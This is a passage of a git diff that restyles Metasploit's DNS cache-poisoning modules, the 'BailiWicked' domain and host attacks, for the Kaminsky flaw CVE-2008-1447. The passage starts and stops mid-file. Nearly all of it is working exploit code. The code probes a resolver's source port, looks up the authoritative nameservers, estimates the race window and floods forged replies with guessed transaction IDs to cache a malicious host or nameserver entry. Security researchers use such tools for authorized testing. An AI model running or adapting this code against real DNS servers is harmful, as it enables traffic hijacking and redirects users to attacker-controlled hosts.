a static source port and is vulnerable to poisoning") + vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning') return Exploit::CheckCode::Vulnerable end @@ -151,18 +156,18 @@ def check def run check_pcaprub_loaded # Check first - target = rhost() - source = Rex::Socket.source_address(target) - saddr = datastore['SRCADDR'] - sport = datastore['SRCPORT'] - domain = datastore['DOMAIN'] + '.' - newdns = datastore['NEWDNS'] - recons = datastore['RECONS'] - xids = datastore['XIDS'].to_i - newttl = datastore['TTL'].to_i - xidbase = rand(20001) + 20000 + target = rhost + source = Rex::Socket.source_address(target) + saddr = datastore['SRCADDR'] + sport = datastore['SRCPORT'] + domain = datastore['DOMAIN'] + '.' + newdns = datastore['NEWDNS'] + recons = datastore['RECONS'] + xids = datastore['XIDS'].to_i + newttl = datastore['TTL'].to_i + xidbase = rand(20000..40000) numxids = xids - address = Rex::Text.rand_text(4).unpack("C4").join(".") + address = Rex::Text.rand_text(4).unpack('C4').join('.') srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, @@ -172,24 +177,24 @@ def run # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new - txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" + txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) - res, addr = srv_sock.recvfrom() + res, = srv_sock.recvfrom - if res and res.length > 0 + if res && !res.empty? res = Resolv::DNS::Message.decode(res) - res.each_answer do |name, ttl, data| - if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) - t_addr, t_port = $1.split(':') - sport = t_port.to_i - - print_status("Switching to target port #{sport} based on Metasploit service") - if target != t_addr - print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") - end + res.each_answer do |name, _ttl, data| + next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m) + + t_addr, t_port = ::Regexp.last_match(1).split(':') + sport = t_port.to_i + + print_status("Switching to target port #{sport} based on Metasploit service") + if target != t_addr + print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end @@ -201,77 +206,76 @@ def run query.add_question(domain, Resolv::DNS::Resource::IN::NS) query.rd = 0 - begin + loop do cached = false srv_sock.put(query.encode) - answer, addr = srv_sock.recvfrom() + answer, = srv_sock.recvfrom - if answer and answer.length > 0 + if answer && !answer.empty? answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| + next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns) - if((name.to_s + ".") == domain and data.name.to_s == newdns) - t = Time.now + ttl - print_error("Failure: This domain is already using #{newdns} as a nameserver") - print_error(" Cache entry expires on #{t}") - srv_sock.close - close_pcap - return - end + t = Time.now + ttl + print_error("Failure: This domain is already using #{newdns} as a nameserver") + print_error(" Cache entry expires on #{t}") + srv_sock.close + close_pcap + break end end - end until not cached + break if !cached + end rescue ::Interrupt - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end - - res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver + res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) - #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" + # print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" - if rr0.type == 'NS' - print_status " Querying recon nameserver for address of #{rr0.nsdname}..." - answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname - #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" - answer1.answer.each do |rr1| - print_status " Got an #{rr1.type} record: #{rr1.inspect}" - res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) - print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." - answer2 = res2.send(domain, Net::DNS::SOA) - if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 - nsrec = {:name => rr0.nsdname, :addr => rr1.address} - barbs << nsrec - print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" - end - end + next unless rr0.type == 'NS' + + print_status " Querying recon nameserver for address of #{rr0.nsdname}..." + answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname + # print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" + answer1.answer.each do |rr1| + print_status " Got an #{rr1.type} record: #{rr1.inspect}" + res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1) + print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." + answer2 = res2.send(domain, Net::DNS::SOA) + next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1) + + nsrec = { name: rr0.nsdname, addr: rr1.address } + barbs << nsrec + print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end - if barbs.length == 0 - print_status( "No DNS servers found.") + if barbs.empty? + print_status('No DNS servers found.') srv_sock.close close_pcap return end - if(xids == 0) - print_status("Calculating the number of spoofed replies to send per query...") + if (xids == 0) + print_status('Calculating the number of spoofed replies to send per query...') qcnt = calculate_race(target, domain, 100) numxids = ((qcnt * 1.5) / barbs.length).to_i - if(numxids == 0) - print_status("The server did not reply, giving up.") + if (numxids == 0) + print_status('The server did not reply, giving up.') srv_sock.close close_pcap return @@ -283,12 +287,12 @@ def run queries = 0 responses = 0 - open_pcap unless self.capture + open_pcap unless capture - print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...") + print_status("Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...") - while true - randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname + loop do + randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new @@ -299,15 +303,15 @@ def run src_ip = source - if(saddr == 'Random') - src_ip = Rex::Text.rand_text(4).unpack("C4").join(".") + if (saddr == 'Random') + src_ip = Rex::Text.rand_text(4).unpack('C4').join('.') end p = PacketFu::UDPPacket.new p.ip_saddr = src_ip p.ip_daddr = target p.ip_ttl = 255 - p.udp_sport = (rand((2**16)-1024)+1024).to_i + p.udp_sport = (rand((2**16) - 1024) + 1024).to_i p.udp_dport = 53 p.payload = req.encode p.recalc @@ -326,7 +330,7 @@ def run p.udp_sport = 53 p.udp_dport = sport.to_i - xidbase.upto(xidbase+numxids-1) do |id| + xidbase.upto(xidbase + numxids - 1) do |id| req.id = id p.payload = req.encode barbs.each do |barb| @@ -340,12 +344,12 @@ def run # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") - if(xids == 0) - print_status("Recalculating the number of spoofed replies to send per query...") + if (xids == 0) + print_status('Recalculating the number of spoofed replies to send per query...') qcnt = calculate_race(target, domain, 25) numxids = ((qcnt * 1.5) / barbs.length).to_i - if(numxids == 0) - print_status("The server has stopped replying, giving up.") + if (numxids == 0) + print_status('The server has stopped replying, giving up.') srv_sock.close close_pcap return @@ -355,35 +359,33 @@ def run end # every so often, check and see if the target is poisoned... - if queries % 250 == 0 - begin - query = Resolv::DNS::Message.new - query.add_question(domain, Resolv::DNS::Resource::IN::NS) - query.rd = 0 - - srv_sock.put(query.encode) - answer, addr = srv_sock.recvfrom() - - if answer and answer.length > 0 - answer = Resolv::DNS::Message.decode(answer) - answer.each_answer do |name, ttl, data| - if((name.to_s + ".") == domain and data.name.to_s == newdns) - print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}") - srv_sock.close - close_pcap - return - end - end + next unless queries % 250 == 0 + + begin + query = Resolv::DNS::Message.new + query.add_question(domain, Resolv::DNS::Resource::IN::NS) + query.rd = 0 + + srv_sock.put(query.encode) + answer, = srv_sock.recvfrom + + if answer && !answer.empty? + answer = Resolv::DNS::Message.decode(answer) + answer.each_answer do |name, _ttl, data| + next unless ((name.to_s + '.') == domain) && (data.name.to_s == newdns) + + print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}") + srv_sock.close + close_pcap + break end - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end - end - end # @@ -395,22 +397,18 @@ def run # a few times to account for each nameserver the cache server # may query for the target domain. # - def calculate_race(server, domain, num=50) + def calculate_race(server, domain, num = 50) + cnt = 0 - q_beg_t = nil - q_end_t = nil - cnt = 0 + times = [] - times = [] - - hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain + hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain sock = Rex::Socket.create_udp( 'PeerHost' => server, 'PeerPort' => 53 ) - req = Resolv::DNS::Message.new req.add_question(hostname, Resolv::DNS::Resource::IN::A) req.rd = 1 @@ -420,17 +418,17 @@ def calculate_race(server, domain, num=50) sock.put(req.encode) req.rd = 0 - while(times.length < num) - res, addr = sock.recvfrom(65535, 0.01) + while (times.length < num) + res, = sock.recvfrom(65535, 0.01) - if res and res.length > 0 + if res && !res.empty? res = Resolv::DNS::Message.decode(res) - if(res.id == 1) + if (res.id == 1) times << [Time.now.to_f - q_beg_t, cnt] cnt = 0 - hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain + hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain sock.close sock = Rex::Socket.create_udp( @@ -456,23 +454,22 @@ def calculate_race(server, domain, num=50) sock.put(req.encode) end - min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 - max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 - sum = 0 - times.each{|i| sum += i[0]} - avg_time = ( (sum / times.length) * 100).to_i / 100.0 + min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0 + max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0 + sum = 0 + times.each { |i| sum += i[0] } + avg_time = ((sum / times.length) * 100).to_i / 100.0 - min_count = times.map{|i| i[1]}.min - max_count = times.map{|i| i[1]}.max - sum = 0 - times.each{|i| sum += i[1]} + min_count = times.map { |i| i[1] }.min + max_count = times.map { |i| i[1] }.max + sum = 0 + times.each { |i| sum += i[1] } avg_count = sum / times.length sock.close print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") - # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) avg_count end diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index f38200d158fe0..8e371525628b9 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' require 'net/dns' require 'resolv' @@ -10,58 +11,65 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture def initialize(info = {}) - super(update_info(info, - 'Name' => 'DNS BailiWicked Host Attack', - 'Description' => %q{ - This exploit attacks a fairly ubiquitous flaw in DNS implementations which - Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single - malicious host entry into the target nameserver by sending random hostname - queries to the target DNS server coupled with spoofed replies to those - queries from the authoritative nameservers for that domain. Eventually, a - guessed ID will match, the spoofed packet will get accepted, and due to the - additional hostname entry being within bailiwick constraints of the original - request the malicious host entry will get cached. - }, - 'Author' => [ 'I)ruid', 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'DNS BailiWicked Host Attack', + 'Description' => %q{ + This exploit attacks a fairly ubiquitous flaw in DNS implementations which + Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single + malicious host entry into the target nameserver by sending random hostname + queries to the target DNS server coupled with spoofed replies to those + queries from the authoritative nameservers for that domain. Eventually, a + guessed ID will match, the spoofed packet will get accepted, and due to the + additional hostname entry being within bailiwick constraints of the original + request the malicious host entry will get cached. + }, + 'Author' => [ 'I)ruid', 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-1447' ], [ 'OSVDB', '46776'], [ 'US-CERT-VU', '800113' ], - [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], + [ 'URL', 'http://web.archive.org/web/20160606120102/http://www.caughq.org:80/exploits/CAU-EX-2008-0002.txt' ], ], - 'DisclosureDate' => '2008-07-21' - )) - - register_options( - [ - OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']), - OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), - OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), - OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), - OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), - OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), - OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]), - - ]) + 'DisclosureDate' => '2008-07-21', + 'Notes' => { + 'Stability' => [SERVICE_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) - deregister_options('FILTER','PCAPFILE') + register_options( + [ + OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']), + OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), + OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), + OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), + OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']), + OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]), + OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(30000..49999)]), + + ] + ) + deregister_options('FILTER', 'PCAPFILE') end def auxiliary_commands return { - "racer" => "Determine the size of the window for the target server" + 'racer' => 'Determine the size of the window for the target server' } end def cmd_racer(*args) - targ = args[0] || rhost() - dom = args[1] || "example.com" + targ = args[0] || rhost + dom = args[1] || 'example.com' - if !(targ and targ.length > 0) - print_status("usage: racer [dns-server] [domain]") + if !(targ && !targ.empty?) + print_status('usage: racer [dns-server] [domain]') return end @@ -77,90 +85,88 @@ def check ) random = false - ports = {} - lport = nil - reps = 0 + ports = {} + lport = nil + reps = 0 1.upto(30) do |i| - req = Resolv::DNS::Message.new - txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" + txt = "spoofprobe-check-#{i}-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) - res, addr = srv_sock.recvfrom(65535, 1.0) + res, = srv_sock.recvfrom(65535, 1.0) - - if res and res.length > 0 + if res && !res.empty? reps += 1 res = Resolv::DNS::Message.decode(res) - res.each_answer do |name, ttl, data| - if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) - t_addr, t_port = $1.split(':') - - vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") - t_port = t_port.to_i - if(lport and lport != t_port) - random = true - end - lport = t_port - ports[t_port] ||=0 - ports[t_port] +=1 + res.each_answer do |name, _ttl, data| + next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m) + + t_addr, t_port = ::Regexp.last_match(1).split(':') + + vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") + t_port = t_port.to_i + if lport && (lport != t_port) + random = true end + lport = t_port + ports[t_port] ||= 0 + ports[t_port] += 1 end end - - if(i>5 and ports.keys.length == 0) + if (i > 5) && ports.keys.empty? break end end srv_sock.close - if(ports.keys.length == 0) - vprint_error("ERROR: This server is not replying to recursive requests") + if ports.keys.empty? + vprint_error('ERROR: This server is not replying to recursive requests') return Exploit::CheckCode::Unknown end - if(reps < 30) - vprint_warning("WARNING: This server did not reply to all of our requests") + if (reps < 30) + vprint_warning('WARNING: This server did not reply to all of our requests') end - if(random) - ports_u = ports.keys.length - ports_r = ((ports.keys.length/30.0)*100).to_i - print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") - if(ports_r != 100) - vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") - # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence - return Exploit::CheckCode::Appears - end - else - vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning") + unless random + vprint_error('FAIL: This server uses a static source port and is vulnerable to poisoning') return Exploit::CheckCode::Vulnerable end + ports_u = ports.keys.length + ports_r = ((ports.keys.length / 30.0) * 100).to_i + print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}") + + if (ports_r != 100) + vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") + # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe end def run check_pcaprub_loaded # Check first. - target = rhost() - source = Rex::Socket.source_address(target) - saddr = datastore['SRCADDR'] - sport = datastore['SRCPORT'] + target = rhost + source = Rex::Socket.source_address(target) + saddr = datastore['SRCADDR'] + sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' - address = datastore['NEWADDR'] - recons = datastore['RECONS'] - xids = datastore['XIDS'].to_i - newttl = datastore['TTL'].to_i - xidbase = rand(20001) + 20000 + address = datastore['NEWADDR'] + recons = datastore['RECONS'] + xids = datastore['XIDS'].to_i + newttl = datastore['TTL'].to_i + xidbase = rand(20000..40000) numxids = xids - domain = hostname.sub(/\w+\x2e/,"") + domain = hostname.sub(/\w+\x2e/, '') srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, @@ -170,24 +176,24 @@ def run # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new - txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" + txt = "spoofprobe-#{$PROCESS_ID}#{(rand * 1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) - res, addr = srv_sock.recvfrom() + res, = srv_sock.recvfrom - if res and res.length > 0 + if res && !res.empty? res = Resolv::DNS::Message.decode(res) - res.each_answer do |name, ttl, data| - if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) - t_addr, t_port = $1.split(':') - sport = t_port.to_i - - print_status("Switching to target port #{sport} based on Metasploit service") - if target != t_addr - print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") - end + res.each_answer do |name, _ttl, data| + next unless (name.to_s == txt) && data.strings.join('') =~ (/^([^\s]+)\s+.*red\.metasploit\.com/m) + + t_addr, t_port = ::Regexp.last_match(1).split(':') + sport = t_port.to_i + + print_status("Switching to target port #{sport} based on Metasploit service") + if target != t_addr + print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end @@ -199,76 +205,75 @@ def run query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 - begin + loop do cached = false srv_sock.put(query.encode) - answer, addr = srv_sock.recvfrom() + answer, = srv_sock.recvfrom - if answer and answer.length > 0 + if answer && !answer.empty? answer = Resolv::DNS::Message.decode(answer) - answer.each_answer do |name, ttl, data| - - if((name.to_s + ".") == hostname) - t = Time.now + ttl - print_error("Failure: This hostname is already in the target cache: #{name}") - print_error(" Cache entry expires on #{t}... sleeping.") - cached = true - select(nil,nil,nil,ttl) - end + answer.each_answer do |name, ttl, _data| + next unless ((name.to_s + '.') == hostname) + + t = Time.now + ttl + print_error("Failure: This hostname is already in the target cache: #{name}") + print_error(" Cache entry expires on #{t}... sleeping.") + cached = true + select(nil, nil, nil, ttl) end end - end until not cached + break if !cached + end rescue ::Interrupt - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end - res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver + res0 = Net::DNS::Resolver.new(nameservers: [recons], dns_search: false, recursive: true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) - #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" + # print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" - if rr0.type == 'NS' - print_status " Querying recon nameserver for address of #{rr0.nsdname}..." - answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname - #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" - answer1.answer.each do |rr1| - print_status " Got an #{rr1.type} record: #{rr1.inspect}" - res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) - print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." - answer2 = res2.send(domain, Net::DNS::SOA) - if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 - nsrec = {:name => rr0.nsdname, :addr => rr1.address} - barbs << nsrec - print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" - end - end + next unless rr0.type == 'NS' + + print_status " Querying recon nameserver for address of #{rr0.nsdname}..." + answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname + # print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" + answer1.answer.each do |rr1| + print_status " Got an #{rr1.type} record: #{rr1.inspect}" + res2 = Net::DNS::Resolver.new(nameservers: rr1.address, dns_search: false, recursive: false, retry: 1) + print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." + answer2 = res2.send(domain, Net::DNS::SOA) + next unless answer2 && answer2.header.auth? && (answer2.header.anCount >= 1) + + nsrec = { name: rr0.nsdname, addr: rr1.address } + barbs << nsrec + print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end - if barbs.length == 0 - print_status( "No DNS servers found.") + if barbs.empty? + print_status('No DNS servers found.') srv_sock.close close_pcap return end - - if(xids == 0) - print_status("Calculating the number of spoofed replies to send per query...") + if (xids == 0) + print_status('Calculating the number of spoofed replies to send per query...') qcnt = calculate_race(target, domain, 100) numxids = ((qcnt * 1.5) / barbs.length).to_i - if(numxids == 0) - print_status("The server did not reply, giving up.") + if (numxids == 0) + print_status('The server did not reply, giving up.') srv_sock.close close_pcap return @@ -280,13 +285,12 @@ def run queries = 0 responses = 0 + open_pcap unless capture - open_pcap unless self.capture - - print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") + print_status("Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") - while true - randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname + loop do + randhost = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new @@ -297,15 +301,15 @@ def run src_ip = source - if(saddr == 'Random') - src_ip = Rex::Text.rand_text(4).unpack("C4").join(".") + if (saddr == 'Random') + src_ip = Rex::Text.rand_text(4).unpack('C4').join('.') end p = PacketFu::UDPPacket.new p.ip_saddr = src_ip p.ip_daddr = target p.ip_ttl = 255 - p.udp_sport = (rand((2**16)-1024)+1024).to_i + p.udp_sport = (rand((2**16) - 1024) + 1024).to_i p.udp_dport = 53 p.payload = req.encode p.recalc @@ -325,7 +329,7 @@ def run p.udp_sport = 53 p.udp_dport = sport.to_i - xidbase.upto(xidbase+numxids-1) do |id| + xidbase.upto(xidbase + numxids - 1) do |id| req.id = id p.payload = req.encode barbs.each do |barb| @@ -339,12 +343,12 @@ def run # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") - if(xids == 0) - print_status("Recalculating the number of spoofed replies to send per query...") + if (xids == 0) + print_status('Recalculating the number of spoofed replies to send per query...') qcnt = calculate_race(target, domain, 25) numxids = ((qcnt * 1.5) / barbs.length).to_i - if(numxids == 0) - print_status("The server has stopped replying, giving up.") + if (numxids == 0) + print_status('The server has stopped replying, giving up.') srv_sock.close close_pcap return @@ -354,31 +358,31 @@ def run end # every so often, check and see if the target is poisoned... - if queries % 250 == 0 - begin - query = Resolv::DNS::Message.new - query.add_question(hostname, Resolv::DNS::Resource::IN::A) - query.rd = 0 - - srv_sock.put(query.encode) - answer, addr = srv_sock.recvfrom() - - if answer and answer.length > 0 - answer = Resolv::DNS::Message.decode(answer) - answer.each_answer do |name, ttl, data| - if((name.to_s + ".") == hostname) - print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}") - print_status("TTL: #{ttl} DATA: #{data}") - close_pcap - return - end - end + next unless queries % 250 == 0 + + begin + query = Resolv::DNS::Message.new + query.add_question(hostname, Resolv::DNS::Resource::IN::A) + query.rd = 0 + + srv_sock.put(query.encode) + answer, = srv_sock.recvfrom + + if answer && !answer.empty? + answer = Resolv::DNS::Message.decode(answer) + answer.each_answer do |name, ttl, data| + next unless ((name.to_s + '.') == hostname) + + print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}") + print_status("TTL: #{ttl} DATA: #{data}") + close_pcap + break end - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end @@ -392,22 +396,18 @@ def run # a few times to account for each nameserver the cache server # may query for the target domain. # - def calculate_race(server, domain, num=50) - - q_beg_t = nil - q_end_t = nil - cnt = 0 + def calculate_race(server, domain, num = 50) + cnt = 0 - times = [] + times = [] - hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain + hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain sock = Rex::Socket.create_udp( 'PeerHost' => server, 'PeerPort' => 53 ) - req = Resolv::DNS::Message.new req.add_question(hostname, Resolv::DNS::Resource::IN::A) req.rd = 1 @@ -417,17 +417,17 @@ def calculate_race(server, domain, num=50) sock.put(req.encode) req.rd = 0 - while(times.length < num) - res, addr = sock.recvfrom(65535, 0.01) + while (times.length < num) + res, = sock.recvfrom(65535, 0.01) - if res and res.length > 0 + if res && !res.empty? res = Resolv::DNS::Message.decode(res) - if(res.id == 1) + if (res.id == 1) times << [Time.now.to_f - q_beg_t, cnt] cnt = 0 - hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain + hostname = Rex::Text.rand_text_alphanumeric(10..19) + '.' + domain sock.close sock = Rex::Socket.create_udp( @@ -453,23 +453,22 @@ def calculate_race(server, domain, num=50) sock.put(req.encode) end - min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0 - max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0 - sum = 0 - times.each{|i| sum += i[0]} - avg_time = ( (sum / times.length) * 100).to_i / 100.0 + min_time = (times.map { |i| i[0] }.min * 100).to_i / 100.0 + max_time = (times.map { |i| i[0] }.max * 100).to_i / 100.0 + sum = 0 + times.each { |i| sum += i[0] } + avg_time = ((sum / times.length) * 100).to_i / 100.0 - min_count = times.map{|i| i[1]}.min - max_count = times.map{|i| i[1]}.max - sum = 0 - times.each{|i| sum += i[1]} + min_count = times.map { |i| i[1] }.min + max_count = times.map { |i| i[1] }.max + sum = 0 + times.each { |i| sum += i[1] } avg_count = sum / times.length sock.close print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}") - # XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times) avg_count end diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 90a53a57be8d8..fcfb5300a62b6 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -9,43 +9,49 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) - super(update_info(info, - 'Name' => 'DNS Lookup Result Comparison', - 'Description' => %q{ - This module can be used to determine differences - in the cache entries between two DNS servers. This is - primarily useful for detecting cache poisoning attacks, - but can also be used to detect geo-location load balancing. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'DNS Lookup Result Comparison', + 'Description' => %q{ + This module can be used to determine differences + in the cache entries between two DNS 